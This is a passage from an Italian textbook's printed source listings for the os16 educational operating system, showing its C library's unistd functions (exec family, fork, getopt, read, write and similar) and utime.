3860012     va_start (ap, arg);
3860013     //
3860014     arg_next = arg;
3860015     //
3860016     for (argc = 0; argc < ARG_MAX/2; argc++)
3860017       {
3860018         argv[argc] = arg_next;
3860019         if (argv[argc] == NULL)
3860020           {
3860021             break;      // End of arguments.
3860022           }
3860023         arg_next = va_arg (ap, char *);
3860024       }
3860025     //
3860026     envp = va_arg (ap, char **);
3860027     //
3860028     return (execve (path, argv, envp));
3860029 }
```

106.17.11 lib/unistd/execlp.c

Si veda la sezione 99.20.

```
3870001 #include <unistd.h>
3870002 #include <string.h>
3870003 #include <stdlib.h>
3870004 #include <errno.h>
3870005 #include <sys/os16.h>
3870006 //----------------------------------------------------------------------
3870007 int
3870008 execlp (const char *path, const char *arg, ...)
3870009 {
3870010     int   argc;
3870011     char *arg_next;
3870012     char *argv[ARG_MAX/2];
3870013     char  command[PATH_MAX];
```

```
3870014      int   status;
3870015      //
3870016      va_list ap;
3870017      va_start (ap, arg);
3870018      //
3870019      arg_next = arg;
3870020      //
3870021      for (argc = 0; argc < ARG_MAX/2; argc++)
3870022        {
3870023          argv[argc] = arg_next;
3870024          if (argv[argc] == NULL)
3870025            {
3870026              break;      // End of arguments.
3870027            }
3870028          arg_next = va_arg (ap, char *);
3870029        }
3870030      //
3870031      // Get a full command path if necessary.
3870032      //
3870033      status = namep (path, command, (size_t) PATH_MAX);
3870034      if (status != 0)
3870035        {
3870036          //
3870037          // Variable 'errno' is already set by 'commandp()'.
3870038          //
3870039          return (-1);
3870040        }
3870041      //
3870042      // Return calling 'execve()'
3870043      //
3870044      return (execve (command, argv, environ));   // [1]
3870045  }
3870046  //
3870047  // The variable 'environ' is declared as 'char **environ' and is
3870048  // included from <unistd.h>.
3870049  //
```

106.17.12 lib/unistd/execv.c

Si veda la sezione 99.20.

```
3880001  #include <unistd.h>
3880002  //----------------------------------------------------------------------
3880003  int
3880004  execv (const char *path, char *const argv[])
3880005  {
3880006      return (execve (path, argv, environ));      // [1]
3880007  }
3880008  //
3880009  // The variable 'environ' is declared as 'char **environ' and is
3880010  // included from <unistd.h>.
```

```
3880011 //
```

106.17.13 lib/unistd/execve.c

Si veda la sezione 98.10.

```
3890001 #include <unistd.h>
3890002 #include <sys/types.h>
3890003 #include <sys/os16.h>
3890004 #include <errno.h>
3890005 #include <string.h>
3890006 #include <string.h>
3890007 //----------------------------------------------------------------------
3890008 int
3890009 execve (const char *path, char *const argv[], char *const envp[])
3890010 {
3890011     sysmsg_exec_t msg;
3890012     size_t         size;
3890013     size_t         arg_size;
3890014     int            argc;
3890015     size_t         env_size;
3890016     int            envc;
3890017     char          *arg_data = msg.arg_data;
3890018     char          *env_data = msg.env_data;
3890019     //
3890020     msg.ret   = 0;
3890021     msg.errno = 0;
3890022     //
3890023     strncpy (msg.path, path, PATH_MAX);
3890024     //
3890025     // Copy 'argv[]' inside a the message buffer 'msg.arg_data',
3890026     // separating each string with a null character and counting the
3890027     // number of strings inside 'argc'.
3890028     //
3890029     for (argc = 0, arg_size = 0, size = 0;
3890030          argv       != NULL          &&
3890031          argc        < (ARG_MAX/16)  &&
3890032          arg_size    < ARG_MAX/2     &&
3890033          argv[argc] != NULL;
3890034          argc++, arg_size += size)
3890035       {
3890036         size = strlen (argv[argc]);
3890037         size++;         // Count also the final null character.
3890038         if (size > (ARG_MAX/2 - arg_size))
3890039           {
3890040             errset (E2BIG);     // Argument list too long.
3890041             return (-1);
3890042           }
3890043         strncpy (arg_data, argv[argc], size);
3890044         arg_data += size;
3890045       }
```

```
3890046     msg.argc = argc;
3890047     //
3890048     // Copy 'envp[]' inside a the message buffer 'msg.env_data',
3890049     // separating each string with a null character and counting the
3890050     // number of strings inside 'envc'.
3890051     //
3890052     for (envc = 0, env_size = 0, size = 0;
3890053          envp       != NULL         &&
3890054          envc        < (ARG_MAX/16) &&
3890055          env_size    < ARG_MAX/2    &&
3890056          envp[envc] != NULL;
3890057          envc++, env_size += size)
3890058       {
3890059         size = strlen (envp[envc]);
3890060         size++;         // Count also the final null character.
3890061         if (size > (ARG_MAX/2 - env_size))
3890062           {
3890063             errset (E2BIG);     // Argument list too long.
3890064             return (-1);
3890065           }
3890066         strncpy (env_data, envp[envc], size);
3890067         env_data += size;
3890068       }
3890069     msg.envc = envc;
3890070     //
3890071     // System call.
3890072     //
3890073     sys (SYS_EXEC, &msg, (sizeof msg));
3890074     //
3890075     // Should not return, but if it does, then there is an error.
3890076     //
3890077     errno = msg.errno;
3890078     errln = msg.errln;
3890079     strncpy (errfn, msg.errfn, PATH_MAX);
3890080     return (msg.ret);
3890081 }
```

106.17.14 lib/unistd/execvp.c

Si veda la sezione 99.20.

```
3900001 #include <unistd.h>
3900002 #include <string.h>
3900003 #include <stdlib.h>
3900004 #include <errno.h>
3900005 #include <sys/os16.h>
3900006 //----------------------------------------------------------------------
3900007 int
3900008 execvp (const char *path, char *const argv[])
3900009 {
3900010     char  command[PATH_MAX];
```

```
3900011      int   status;
3900012      //
3900013      // Get a full command path if necessary.
3900014      //
3900015      status = namep (path, command, (size_t) PATH_MAX);
3900016      if (status != 0)
3900017        {
3900018          //
3900019          // Variable 'errno' is already set by 'namep()'.
3900020          //
3900021          return (-1);
3900022        }
3900023      //
3900024      // Return calling 'execve()'
3900025      //
3900026      return (execve (command, argv, environ));   // [1]
3900027  }
3900028  //
3900029  // The variable 'environ' is declared as 'char **environ' and is
3900030  // included from <unistd.h>.
3900031  //
```

106.17.15 lib/unistd/fchdir.c

Si veda la sezione 102.2.

```
3910001  #include <unistd.h>
3910002  #include <errno.h>
3910003  //------------------------------------------------------------------------
3910004  int
3910005  fchdir (int fdn)
3910006  {
3910007      //
3910008      // os16 requires to keep track of the path for the current working
3910009      // directory. The standard function 'fchdir()' is not applicable.
3910010      //
3910011      errset (E_NOT_IMPLEMENTED);
3910012      return (-1);
3910013  }
```

106.17.16 lib/unistd/fchown.c

Si veda la sezione 98.5.

```
3920001  #include <unistd.h>
3920002  #include <string.h>
3920003  #include <const.h>
3920004  #include <sys/os16.h>
3920005  #include <errno.h>
```

```
3920006 #include <limits.h>
3920007 //----------------------------------------------------------------------
3920008 int
3920009 fchown (int fdn, uid_t uid, gid_t gid)
3920010 {
3920011     sysmsg_fchown_t msg;
3920012     //
3920013     msg.fdn = fdn;
3920014     msg.uid = uid;
3920015     msg.gid = gid;
3920016     //
3920017     sys (SYS_FCHOWN, &msg, (sizeof msg));
3920018     //
3920019     errno = msg.errno;
3920020     errln = msg.errln;
3920021     strncpy (errfn, msg.errfn, PATH_MAX);
3920022     return (msg.ret);
3920023 }
```

106.17.17 lib/unistd/fork.c

Si veda la sezione 98.14.

```
3930001 #include <unistd.h>
3930002 #include <sys/types.h>
3930003 #include <sys/os16.h>
3930004 #include <errno.h>
3930005 #include <string.h>
3930006 //----------------------------------------------------------------------
3930007 pid_t
3930008 fork (void)
3930009 {
3930010     sysmsg_fork_t msg;
3930011     //
3930012     // Set the return value for the child process.
3930013     //
3930014     msg.ret = 0;
3930015     //
3930016     // Do the system call.
3930017     //
3930018     sys (SYS_FORK, &msg, (sizeof msg));
3930019     //
3930020     // If the system call has successfully generated a copy of
3930021     // the original process, the following code is executed from
3930022     // the parent and the child. But the child has the 'msg'
3930023     // structure untouched, while the parent has, at least, the
3930024     // pid number inside 'msg.ret'.
3930025     // If the system call fails, there is no child, and the
3930026     // parent finds the return value equal to -1, with an
3930027     // error number.
3930028     //
```

```
3930029     errno = msg.errno;
3930030     errln = msg.errln;
3930031     strncpy (errfn, msg.errfn, PATH_MAX);
3930032     return (msg.ret);
3930033 }
```

106.17.18 lib/unistd/getcwd.c

Si veda la sezione 98.16.

```
3940001 #include <unistd.h>
3940002 #include <sys/types.h>
3940003 #include <sys/os16.h>
3940004 #include <errno.h>
3940005 #include <stddef.h>
3940006 #include <string.h>
3940007 //----------------------------------------------------------------------
3940008 char *
3940009 getcwd (char *buffer, size_t size)
3940010 {
3940011     sysmsg_uarea_t msg;
3940012     //
3940013     // Check arguments: the buffer must be given.
3940014     //
3940015     if (buffer == NULL)
3940016       {
3940017         errset (EINVAL);
3940018         return (NULL);
3940019       }
3940020     //
3940021     // Make shure that the last character, inside the working directory
3940022     // path is a null character.
3940023     //
3940024     msg.path_cwd[PATH_MAX-1] = 0;
3940025     //
3940026     // Just get the user area data.
3940027     //
3940028     sys (SYS_UAREA, &msg, (sizeof msg));
3940029     //
3940030     // Check that the path is still correctly terminated. If it isn't,
3940031     // the path is longer than the implementation limits, and it is
3940032     // really *bad*.
3940033     //
3940034     if (msg.path_cwd[PATH_MAX-1] != 0)
3940035       {
3940036         errset (E_LIMIT);       // Exceeded implementation limits.
3940037         return (NULL);
3940038       }
3940039     //
3940040     // If the path is larger than the buffer size, return an error.
3940041     // Please note that the parameter 'size' must include the
```

```
3940042     // terminating null character, so, if the string is equal to
3940043     // the size, it is already beyond the size limit.
3940044     //
3940045     if (strlen (msg.path_cwd) >= size)
3940046       {
3940047         errset (ERANGE);        // Result too large.
3940048         return (NULL);
3940049       }
3940050     //
3940051     // Everything is fine, so, copy the path to the buffer and return.
3940052     //
3940053     strncpy (buffer, msg.path_cwd, size);
3940054     return (buffer);
3940055 }
```

106.17.19 lib/unistd/geteuid.c

Si veda la sezione 98.18.

```
3950001 #include <unistd.h>
3950002 #include <sys/types.h>
3950003 #include <sys/os16.h>
3950004 #include <errno.h>
3950005 //----------------------------------------------------------------------
3950006 uid_t
3950007 geteuid (void)
3950008 {
3950009     sysmsg_uarea_t msg;
3950010     sys (SYS_UAREA, &msg, (sizeof msg));
3950011     return (msg.euid);
3950012 }
```

106.17.20 lib/unistd/getopt.c

Si veda la sezione 99.52.

```
3960001 #include <unistd.h>
3960002 #include <sys/types.h>
3960003 #include <sys/os16.h>
3960004 #include <errno.h>
3960005 //----------------------------------------------------------------------
3960006 char *optarg;
3960007 int   optind    = 1;
3960008 int   opterr    = 1;
3960009 int   optopt    = 0;
3960010 //----------------------------------------------------------------------
3960011 static void getopt_no_argument (int opt);
3960012 //----------------------------------------------------------------------
3960013 int
```

```
3960014 getopt (int argc, char *const argv[], const char *optstring)
3960015 {
3960016     static int o = 0;           // Index to scan grouped options.
3960017            int s;               // Index to scan 'optstring'
3960018            int opt;             // Current option letter.
3960019            int flag_argument;   // If there should be an argument.
3960020     //
3960021     // Entering the function, 'flag_argument' is zero. Just to make
3960022     // it clear:
3960023     //
3960024     flag_argument = 0;
3960025     //
3960026     // Scan 'argv[]' elements, starting form the value that 'optind'
3960027     // already have.
3960028     //
3960029     for (; optind < argc; optind++)
3960030       {
3960031         //
3960032         // If an option is expected, some check must be done at
3960033         // the beginning.
3960034         //
3960035         if (!flag_argument)
3960036           {
3960037             //
3960038             // Check if the scan is finished and 'optind' should be kept
3960039             // untouched:
3960040             //   'argv[optind]'    is a null pointer;
3960041             //   'argv[optind][0]' is not the character '-';
3960042             //   'argv[optind]'    points to the string "-";
3960043             //   all 'argv[]' elements are parsed.
3960044             //
3960045             if (argv[optind] == NULL
3960046              || argv[optind][0] != '-'
3960047              || argv[optind][1] == 0
3960048              || optind >= argc)
3960049               {
3960050                 return (-1);
3960051               }
3960052             //
3960053             // Check if the scan is finished and 'optind' is to be
3960054             // incremented:
3960055             //   'argv[optind]'    points to the string "--".
3960056             //
3960057             if (argv[optind][0] == '-'
3960058              && argv[optind][1] == '-'
3960059              && argv[optind][2] == 0)
3960060               {
3960061                 optind++;
3960062                 return (-1);
3960063               }
3960064           }
3960065         //
```

```
3960066         // Scan ‘argv[optind]’ using the static index ‘o’.
3960067         //
3960068         for (; o < strlen (argv[optind]); o++)
3960069           {
3960070             //
3960071             // If there should be an option, index ‘o’ should
3960072             // start from 1, because ‘argv[optind][0]’ must
3960073             // be equal to ’-’.
3960074             //
3960075             if (!flag_argument && (o == 0))
3960076               {
3960077                 //
3960078                 // As there is no options, ‘o’ cannot start
3960079                 // from zero, so a new loop is done.
3960080                 //
3960081                 continue;
3960082               }
3960083             //
3960084             if (flag_argument)
3960085               {
3960086                 //
3960087                 // There should be an argument, starting from
3960088                 // ‘argv[optind][o]’.
3960089                 //
3960090                 if ((o == 0) && (argv[optind][o] == ’-’))
3960091                   {
3960092                     //
3960093                     // ‘argv[optind][0]’ is equal to ’-’, but there
3960094                     // should be an argument instead: the argument
3960095                     // is missing.
3960096                     //
3960097                     optarg = NULL;
3960098                     //
3960099                     if (optstring[0] == ’:’)
3960100                       {
3960101                         //
3960102                         // As the option string starts with ‘:’ the
3960103                         // function must return ‘:’.
3960104                         //
3960105                         optopt = opt;
3960106                         opt = ’:’;
3960107                       }
3960108                     else
3960109                       {
3960110                         //
3960111                         // As the option string does not start with ‘:’
3960112                         // the function must return ‘?’.
3960113                         //
3960114                         getopt_no_argument (opt);
3960115                         optopt = opt;
3960116                         opt = ’?’;
3960117                       }
```

```
3960118                 //
3960119                 // `optind' is left untouched.
3960120                 //
3960121               }
3960122             else
3960123               {
3960124                 //
3960125                 // The argument is found: `optind' is to be
3960126                 // incremented and `o' is reset.
3960127                 //
3960128                 optarg = &argv[optind][o];
3960129                 optind++;
3960130                 o = 0;
3960131               }
3960132             //
3960133             // Return the option, or ':', or '?'.
3960134             //
3960135             return (opt);
3960136           }
3960137         else
3960138           {
3960139             //
3960140             // It should be an option: `optstring[]' must be
3960141             // scanned.
3960142             //
3960143             opt = argv[optind][o];
3960144             //
3960145             for (s = 0, optopt = 0; s < strlen (optstring); s++)
3960146               {
3960147                 //
3960148                 // If `optsting[0]' is equal to ':', index `s' must
3960149                 // start at 1.
3960150                 //
3960151                 if ((s == 0) && (optstring[0] == ':'))
3960152                   {
3960153                     continue;
3960154                   }
3960155                 //
3960156                 if (opt == optstring[s])
3960157                   {
3960158                     //
3960159                     if (optstring[s+1] == ':')
3960160                       {
3960161                         //
3960162                         // There is an argument.
3960163                         //
3960164                         flag_argument = 1;
3960165                         break;
3960166                       }
3960167                     else
3960168                       {
3960169                         //
```

```
3960170                             // There is no argument.
3960171                             //
3960172                             o++;
3960173                             return (opt);
3960174                           }
3960175                       }
3960176                   }
3960177                 //
3960178                 if (s >= strlen (optstring))
3960179                   {
3960180                     //
3960181                     // The 'optstring' scan is concluded with no
3960182                     // match.
3960183                     //
3960184                     o++;
3960185                     optopt = opt;
3960186                     return ('?');
3960187                   }
3960188                 //
3960189                 // Otherwise the loop was broken.
3960190                 //
3960191               }
3960192           }
3960193         //
3960194         // Check index 'o'.
3960195         //
3960196         if (o >= strlen (argv[optind]))
3960197           {
3960198             //
3960199             // There are no more options or there is no argument
3960200             // inside current 'argv[optind]' string. Index 'o' is
3960201             // reset before the next loop.
3960202             //
3960203             o = 0;
3960204           }
3960205       }
3960206     //
3960207     // No more elements inside 'argv' or loop broken: there might be a
3960208     // missing argument.
3960209     //
3960210     if (flag_argument)
3960211       {
3960212         //
3960213         // Missing option argument.
3960214         //
3960215         optarg = NULL;
3960216         //
3960217         if (optstring[0] == ':')
3960218           {
3960219             return (':');
3960220           }
3960221         else
```

```
3960222               {
3960223                 getopt_no_argument (opt);
3960224                 return ('?');
3960225               }
3960226           }
3960227         //
3960228         return (-1);
3960229     }
3960230     //----------------------------------------------------------------------
3960231     static void
3960232     getopt_no_argument (int opt)
3960233     {
3960234         if (opterr)
3960235           {
3960236             fprintf (stderr, "Missing argument for option '-%c'\n", opt);
3960237           }
3960238     }
```

106.17.21 lib/unistd/getpgrp.c

Si veda la sezione 98.20.

```
3970001     #include <unistd.h>
3970002     #include <sys/types.h>
3970003     #include <sys/os16.h>
3970004     #include <errno.h>
3970005     //----------------------------------------------------------------------
3970006     pid_t
3970007     getpgrp (void)
3970008     {
3970009         sysmsg_uarea_t msg;
3970010         sys (SYS_UAREA, &msg, (sizeof msg));
3970011         return (msg.pgrp);
3970012     }
```

106.17.22 lib/unistd/getpid.c

Si veda la sezione 98.20.

```
3980001     #include <unistd.h>
3980002     #include <sys/types.h>
3980003     #include <sys/os16.h>
3980004     #include <errno.h>
3980005     //----------------------------------------------------------------------
3980006     pid_t
3980007     getpid (void)
3980008     {
3980009         sysmsg_uarea_t msg;
3980010         sys (SYS_UAREA, &msg, (sizeof msg));
```

```
3980011     return (msg.pid);
3980012 }
```

106.17.23 lib/unistd/getppid.c

Si veda la sezione 98.20.

```
3990001 #include <unistd.h>
3990002 #include <sys/types.h>
3990003 #include <sys/os16.h>
3990004 #include <errno.h>
3990005 //----------------------------------------------------------------------
3990006 pid_t
3990007 getppid (void)
3990008 {
3990009     sysmsg_uarea_t msg;
3990010     sys (SYS_UAREA, &msg, (sizeof msg));
3990011     return (msg.ppid);
3990012 }
```

106.17.24 lib/unistd/getuid.c

Si veda la sezione 98.18.

```
4000001 #include <unistd.h>
4000002 #include <sys/types.h>
4000003 #include <sys/os16.h>
4000004 #include <errno.h>
4000005 //----------------------------------------------------------------------
4000006 uid_t
4000007 getuid (void)
4000008 {
4000009     sysmsg_uarea_t msg;
4000010     sys (SYS_UAREA, &msg, (sizeof msg));
4000011     return (msg.uid);
4000012 }
```

106.17.25 lib/unistd/isatty.c

Si veda la sezione 99.61.

```
4010001 #include <sys/stat.h>
4010002 #include <sys/os16.h>
4010003 #include <unistd.h>
4010004 #include <sys/types.h>
4010005 #include <errno.h>
4010006 //----------------------------------------------------------------------
4010007 int
```

```
4010008 isatty (int fdn)
4010009 {
4010010     struct stat file_status;
4010011     //
4010012     // Verify to have valid input data.
4010013     //
4010014     if (fdn < 0)
4010015       {
4010016         errset (EBADF);
4010017         return (0);
4010018       }
4010019     //
4010020     // Verify the standard input.
4010021     //
4010022     if (fstat(fdn, &file_status) == 0)
4010023       {
4010024         if (major (file_status.st_rdev) == DEV_CONSOLE_MAJOR)
4010025           {
4010026             return (1); // Meaning it is ok!
4010027           }
4010028         if (major (file_status.st_rdev) == DEV_TTY_MAJOR)
4010029           {
4010030             return (1); // Meaning it is ok!
4010031           }
4010032       }
4010033     else
4010034       {
4010035         errset (errno);
4010036         return (0);
4010037       }
4010038     //
4010039     // If here, it is not a terminal of any kind.
4010040     //
4010041     errset (EINVAL);
4010042     return (0);
4010043 }
```

106.17.26 lib/unistd/link.c

Si veda la sezione 98.23.

```
4020001 #include <unistd.h>
4020002 #include <string.h>
4020003 #include <const.h>
4020004 #include <sys/os16.h>
4020005 #include <errno.h>
4020006 #include <limits.h>
4020007 //----------------------------------------------------------------------
4020008 int
4020009 link (const char *path_old, const char *path_new)
4020010 {
```

```
4020011     sysmsg_link_t msg;
4020012     //
4020013     strncpy (msg.path_old, path_old, PATH_MAX);
4020014     strncpy (msg.path_new, path_new, PATH_MAX);
4020015     //
4020016     sys (SYS_LINK, &msg, (sizeof msg));
4020017     //
4020018     errno = msg.errno;
4020019     errln = msg.errln;
4020020     strncpy (errfn, msg.errfn, PATH_MAX);
4020021     return (msg.ret);
4020022 }
```

106.17.27 lib/unistd/lseek.c

Si veda la sezione 98.24.

```
4030001 #include <unistd.h>
4030002 #include <sys/types.h>
4030003 #include <sys/os16.h>
4030004 #include <errno.h>
4030005 #include <string.h>
4030006 //----------------------------------------------------------------------
4030007 off_t
4030008 lseek (int fdn, off_t offset, int whence)
4030009 {
4030010     sysmsg_lseek_t  msg;
4030011     msg.fdn     = fdn;
4030012     msg.offset = offset;
4030013     msg.whence = whence;
4030014     sys (SYS_LSEEK, &msg, (sizeof msg));
4030015     errno = msg.errno;
4030016     errln = msg.errln;
4030017     strncpy (errfn, msg.errfn, PATH_MAX);
4030018     return (msg.ret);
4030019 }
```

106.17.28 lib/unistd/read.c

Si veda la sezione 98.29.

```
4040001 #include <unistd.h>
4040002 #include <sys/os16.h>
4040003 #include <errno.h>
4040004 #include <string.h>
4040005 #include <stdio.h>
4040006 //----------------------------------------------------------------------
4040007 ssize_t
4040008 read (int fdn, void *buffer, size_t count)
```

```
4040009 {
4040010     sysmsg_read_t msg;
4040011     //
4040012     // Reduce size of read if necessary.
4040013     //
4040014     if (count > BUFSIZ)
4040015       {
4040016         count = BUFSIZ;
4040017       }
4040018     //
4040019     // Fill the message.
4040020     //
4040021     msg.fdn   = fdn;
4040022     msg.count = count;
4040023     msg.eof   = 0;
4040024     msg.ret   = 0;
4040025     //
4040026     // Repeat syscall, until something is received or end of file is
4040027     // reached.
4040028     //
4040029     while (1)
4040030       {
4040031         sys (SYS_READ, &msg, (sizeof msg));
4040032         if (msg.ret != 0 || msg.eof)
4040033           {
4040034             break;
4040035           }
4040036       }
4040037     //
4040038     // Before return: be careful with the 'msg.buffer' copy, because
4040039     // it cannot be longer than 'count', otherwise, some unexpected
4040040     // memory will be overwritten!
4040041     //
4040042     if (msg.ret < 0)
4040043       {
4040044         //
4040045         // No valid read, no change inside the buffer.
4040046         //
4040047         errno = msg.errno;
4040048         return (msg.ret);
4040049       }
4040050     //
4040051     if (msg.ret > count)
4040052       {
4040053         //
4040054         // A strange value was returned. Considering it a read error.
4040055         //
4040056         errset (EIO);                   // I/O error.
4040057         return (-1);
4040058       }
4040059     //
4040060     // A valid read: fill the buffer with 'msg.ret' bytes.
```

```
4040061     //
4040062     memcpy (buffer, msg.buffer, msg.ret);
4040063     //
4040064     // Return.
4040065     //
4040066     return (msg.ret);
4040067 }
```

106.17.29 lib/unistd/rmdir.c

Si veda la sezione 98.30.

```
4050001 #include <unistd.h>
4050002 #include <string.h>
4050003 #include <const.h>
4050004 #include <sys/os16.h>
4050005 #include <errno.h>
4050006 #include <limits.h>
4050007 //----------------------------------------------------------------------
4050008 int
4050009 rmdir (const char *path)
4050010 {
4050011     sysmsg_stat_t   msg_stat;
4050012     sysmsg_unlink_t msg_unlink;
4050013     //
4050014     if (path == NULL)
4050015       {
4050016         errset (EINVAL);
4050017         return (-1);
4050018       }
4050019     //
4050020     strncpy (msg_stat.path, path, PATH_MAX);
4050021     //
4050022     sys (SYS_STAT, &msg_stat, (sizeof msg_stat));
4050023     //
4050024     if (msg_stat.ret != 0)
4050025       {
4050026         errno = msg_stat.errno;
4050027         errln = msg_stat.errln;
4050028         strncpy (errfn, msg_stat.errfn, PATH_MAX);
4050029         return (msg_stat.ret);
4050030       }
4050031     //
4050032     if (!S_ISDIR (msg_stat.stat.st_mode))
4050033       {
4050034         errset (ENOTDIR);               // Not a directory.
4050035         return (-1);
4050036       }
4050037     //
4050038     strncpy (msg_unlink.path, path, PATH_MAX);
4050039     //
```

```
4050040     sys (SYS_UNLINK, &msg_unlink, (sizeof msg_unlink));
4050041     //
4050042     errno = msg_unlink.errno;
4050043     errln = msg_unlink.errln;
4050044     strncpy (errfn, msg_unlink.errfn, PATH_MAX);
4050045     return (msg_unlink.ret);
4050046 }
```

106.17.30 lib/unistd/seteuid.c

Si veda la sezione 98.33.

```
4060001 #include <unistd.h>
4060002 #include <sys/types.h>
4060003 #include <sys/os16.h>
4060004 #include <errno.h>
4060005 #include <string.h>
4060006 //----------------------------------------------------------------------
4060007 int
4060008 seteuid (uid_t uid)
4060009 {
4060010     sysmsg_seteuid_t msg;
4060011     msg.ret    = 0;
4060012     msg.errno = 0;
4060013     msg.euid  = uid;
4060014     sys (SYS_SETEUID, &msg, (sizeof msg));
4060015     errno = msg.errno;
4060016     errln = msg.errln;
4060017     strncpy (errfn, msg.errfn, PATH_MAX);
4060018     return (msg.ret);
4060019 }
4060020
```

106.17.31 lib/unistd/setpgrp.c

Si veda la sezione 98.32.

```
4070001 #include <unistd.h>
4070002 #include <sys/os16.h>
4070003 #include <stddef.h>
4070004 //----------------------------------------------------------------------
4070005 int
4070006 setpgrp (void)
4070007 {
4070008     sys (SYS_PGRP, NULL, (size_t) 0);
4070009     return (0);
4070010 }
```

106.17.32 lib/unistd/setuid.c

Si veda la sezione 98.33.

```
4080001 #include <unistd.h>
4080002 #include <sys/types.h>
4080003 #include <sys/os16.h>
4080004 #include <errno.h>
4080005 #include <string.h>
4080006 //----------------------------------------------------------------------
4080007 int
4080008 setuid (uid_t uid)
4080009 {
4080010     sysmsg_setuid_t msg;
4080011     msg.ret   = 0;
4080012     msg.errno = 0;
4080013     msg.euid  = uid;
4080014     sys (SYS_SETUID, &msg, (sizeof msg));
4080015     errno = msg.errno;
4080016     errln = msg.errln;
4080017     strncpy (errfn, msg.errfn, PATH_MAX);
4080018     return (msg.ret);
4080019 }
```

106.17.33 lib/unistd/sleep.c

Si veda la sezione 98.35.

```
4090001 #include <unistd.h>
4090002 #include <sys/types.h>
4090003 #include <sys/os16.h>
4090004 #include <errno.h>
4090005 #include <time.h>
4090006 //----------------------------------------------------------------------
4090007 unsigned int
4090008 sleep (unsigned int seconds)
4090009 {
4090010     sysmsg_sleep_t  msg;
4090011     time_t          start;
4090012     time_t          end;
4090013     int             slept;
4090014     //
4090015     if (seconds == 0)
4090016       {
4090017         return (0);
4090018       }
4090019     //
4090020     msg.events  = WAKEUP_EVENT_TIMER;
4090021     msg.seconds = seconds;
4090022     sys (SYS_SLEEP, &msg, (sizeof msg));
4090023     start = msg.ret;
```

```
4090024     end   = time (NULL);
4090025     slept = end - msg.ret;
4090026     //
4090027     if (slept < 0)
4090028       {
4090029         return (seconds);
4090030       }
4090031     else if (slept < seconds)
4090032       {
4090033         return (seconds - slept);
4090034       }
4090035     else
4090036       {
4090037         return (0);
4090038       }
4090039 }
```

106.17.34 lib/unistd/ttyname.c

Si veda la sezione 99.124.

```
4100001 #include <sys/os16.h>
4100002 #include <sys/stat.h>
4100003 #include <unistd.h>
4100004 #include <sys/types.h>
4100005 #include <errno.h>
4100006 #include <limits.h>
4100007 //----------------------------------------------------------------------
4100008 char *
4100009 ttyname (int fdn)
4100010 {
4100011     int         dev_minor;
4100012     struct stat file_status;
4100013     static char name[PATH_MAX];
4100014     //
4100015     // Verify to have valid input data.
4100016     //
4100017     if (fdn < 0)
4100018       {
4100019         errset (EBADF);
4100020         return (NULL);
4100021       }
4100022     //
4100023     // Verify the file descriptor.
4100024     //
4100025     if (fstat (fdn, &file_status) == 0)
4100026       {
4100027         if (major (file_status.st_rdev) == DEV_CONSOLE_MAJOR)
4100028           {
4100029             dev_minor = minor (file_status.st_rdev);
4100030             //
```

```
4100031                // If minor is equal to 0xFF, it is '/dev/console'.
4100032                //
4100033                if (dev_minor < 0xFF)
4100034                  {
4100035                    sprintf (name, "/dev/console%i", dev_minor);
4100036                  }
4100037                else
4100038                  {
4100039                    strcpy (name, "/dev/console");
4100040                  }
4100041                return (name);
4100042              }
4100043            else if (file_status.st_rdev == DEV_TTY)
4100044              {
4100045                strcpy (name, "/dev/tty");
4100046                return (name);
4100047              }
4100048            else
4100049              {
4100050                errset (ENOTTY);
4100051                return (NULL);
4100052              }
4100053        }
4100054      else
4100055        {
4100056          errset (errno);
4100057          return (NULL);
4100058        }
4100059  }
```

106.17.35 lib/unistd/unlink.c

Si veda la sezione 98.42.

```
4110001  #include <unistd.h>
4110002  #include <string.h>
4110003  #include <const.h>
4110004  #include <sys/os16.h>
4110005  #include <errno.h>
4110006  #include <limits.h>
4110007  //----------------------------------------------------------------------
4110008  int
4110009  unlink (const char *path)
4110010  {
4110011      sysmsg_unlink_t msg;
4110012      //
4110013      strncpy (msg.path, path, PATH_MAX);
4110014      //
4110015      sys (SYS_UNLINK, &msg, (sizeof msg));
4110016      //
4110017      errno = msg.errno;
```

```
4110018      errln = msg.errln;
4110019      strncpy (errfn, msg.errfn, PATH_MAX);
4110020      return (msg.ret);
4110021  }
```

106.17.36 lib/unistd/write.c

Si veda la sezione 98.44.

```
4120001  #include <unistd.h>
4120002  #include <sys/os16.h>
4120003  #include <errno.h>
4120004  #include <string.h>
4120005  #include <const.h>
4120006  #include <stdio.h>
4120007  //----------------------------------------------------------------------
4120008  ssize_t
4120009  write (int fdn, const void *buffer, size_t count)
4120010  {
4120011      sysmsg_write_t msg;
4120012      //
4120013      // Reduce size of write if necessary.
4120014      //
4120015      if (count > BUFSIZ)
4120016        {
4120017          count = BUFSIZ;
4120018        }
4120019      //
4120020      // Fill the message.
4120021      //
4120022      msg.fdn   = fdn;
4120023      msg.count = count;
4120024      memcpy (msg.buffer, buffer, count);
4120025      //
4120026      // Syscall.
4120027      //
4120028      sys (SYS_WRITE, &msg, (sizeof msg));
4120029      //
4120030      // Check result and return.
4120031      //
4120032      if (msg.ret < 0)
4120033        {
4120034          //
4120035          // No valid read, no change inside the buffer.
4120036          //
4120037          errno = msg.errno;
4120038          errln = msg.errln;
4120039          strncpy (errfn, msg.errfn, PATH_MAX);
4120040          return (msg.ret);
4120041        }
4120042      //
```

```
4120043     if (msg.ret > count)
4120044       {
4120045         //
4120046         // A strange value was returned. Considering it a read error.
4120047         //
4120048         errset (EIO);                   // I/O error.
4120049         return (-1);
4120050       }
4120051     //
4120052     // A valid write return.
4120053     //
4120054     return (msg.ret);
4120055 }
```

106.18 os16: «lib/utime.h»

Si veda la sezione 102.2.

```
4130001 #ifndef _UTIME_H
4130002 #define _UTIME_H        1
4130003 
4130004 #include <const.h>
4130005 #include <restrict.h>
4130006 #include <sys/types.h>          // time_t
4130007 
4130008 //----------------------------------------------------------------------
4130009 struct utimbuf {
4130010     time_t  actime;
4130011     time_t  modtime;
4130012 };
4130013 //----------------------------------------------------------------------
4130014 int utime (const char *path, const struct utimbuf *times);
4130015 //----------------------------------------------------------------------
4130016 
4130017 #endif
```

106.18.1 lib/utime/utime.c

Si veda la sezione 102.2.

```
4140001 #include <utime.h>
4140002 #include <errno.h>
4140003 //----------------------------------------------------------------------
4140004 int
4140005 utime (const char *path, const struct utimbuf *times)
4140006 {
4140007     //
4140008     // Currently not implemented.
4140009     //
```

```
4140010     return (0);
4140011 }
```

Capitolo 107

Sorgenti delle applicazioni

107.1 os16: directory «applic/» 6459

107.1.1 applic/MAKEDEV.c 6460
107.1.2 applic/aaa.c 6461
107.1.3 applic/bbb.c 6462
